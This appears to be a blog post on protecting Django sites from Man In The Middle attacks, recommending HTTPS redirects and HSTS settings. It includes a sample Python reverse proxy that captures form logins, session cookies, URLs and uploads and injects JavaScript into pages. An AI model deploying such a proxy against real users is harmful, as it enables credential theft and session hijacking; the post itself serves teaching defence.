A website served via HTTP is vulnerable to Man In The Middle (MITM) attacks: a hacker can get between your browser and the server responding to the browser's requests. The response or request can be amended for malicious intent. A Man could get In The Middle after an unsuspecting user connects to a nefarious network e.g. when joining a cafe's wifi or after a cheeky connection to a neighbor's unprotected network: these may be honey traps.
Ready for a Django security challenge? Play our Django security challenge.
Concretely one way to achieve this is by creating a reverse proxy. Here's an example of a MITM adding some Javascript to the response:
import revproxy.views
from bs4 import BeautifulSoup
from django.http import HttpResponse
# after 2 seconds change some content
javascript = BeautifulSoup(
"""<script>
setTimeout(function() {
document.querySelectorAll("h1")[0].innerText = "HACKED!"
},
2000
)
</script>""",
'html.parser')
class ProxyView(revproxy.views.ProxyView):
def dispatch(self, request, *args, **kwargs):
# user may be logging in, so save the form data so to maybe steal their username and password
save_form_data(request.GET or request.POST)
# cookies may contain session cookie, so save it to later maybe do session hijacking
save_cookies(request.COOKIES)
# user may be doing something embarrassing, so save the url to maybe blackmail them
save_url(request.get_full_path())
# user may be uploading some embarrassing pictures of documents. more blackmail
save_files(request.FILES)
response = super().dispatch(request=request, path=request.get_full_path(), *args, **kwargs)
if 'text/html' in response.get('content-type'):
# now inject nefarious JavaScript
soup = BeautifulSoup(response.content, 'html.parser')
soup.head.append(javascript)
response = HttpResponse(str(soup))
return response
And this is the outcome:
Protection
This can be avoided by serving exclusively on HTTPS as the content will no longer be in plain text for the MITM to read and mutate. Django supports this via SECURE_SSL_REDIRECT
- so Django will redirect any HTTP request to HTTPS. However, this is an incomplete solution:
- a MITM could intercepts the "redirect to HTTPS" response and change it.
- a MITM could upgrade your HTTP request to HTTPS: the user has a HTTP request that terminates at the MITM and the MITM upgrades the request to HTTPS: data would be plainly readable by the bad actor.
There is a solution to that in HTTP Strict Transport Security protection: the browser blocks HTTP requests to your website and instead use HTTPS.
Django facilitates that via the SECURE_HSTS_SECONDS
setting. When first setting the value it's worth using a small value like 3600 (1 hour) to check it works as expected, as once the browser sees the HSTS header it will respect it until the specified time is met, meaning if your website has misconfigured HTTPS certificates then you cannot rollback to HTTP while you fix it.
It's also advisable to set SECURE_HSTS_INCLUDE_SUBDOMAINS
so the browser uses HTST for all subdomains and not just the current one. It would be a shame to protect http://example.com but not http://www.example.com.
So concretely the following change will help protect your Django website against Man In The Middle attacks:
MIDDLEWARE = [
'django.middleware.security.SecurityMiddleware',
...
]
SECURE_HSTS_SECONDS = 3600
SECURE_HSTS_INCLUDE_SUBDOMAINS = True
Note that SECURE_HSTS_
settings required django.middleware.security.SecurityMiddleware
to be present in MIDDLEWARE
otherwise they will do nothing.
Does your website have security vulnerabilities?
Over time it's easy for security vulnerabilities and tech debt to slip into your codebase. I can check that for you at django.doctor, or can review your GitHub PRs:
Or try out Django refactor challenges.
Top comments (1)
Nice and very detailed article.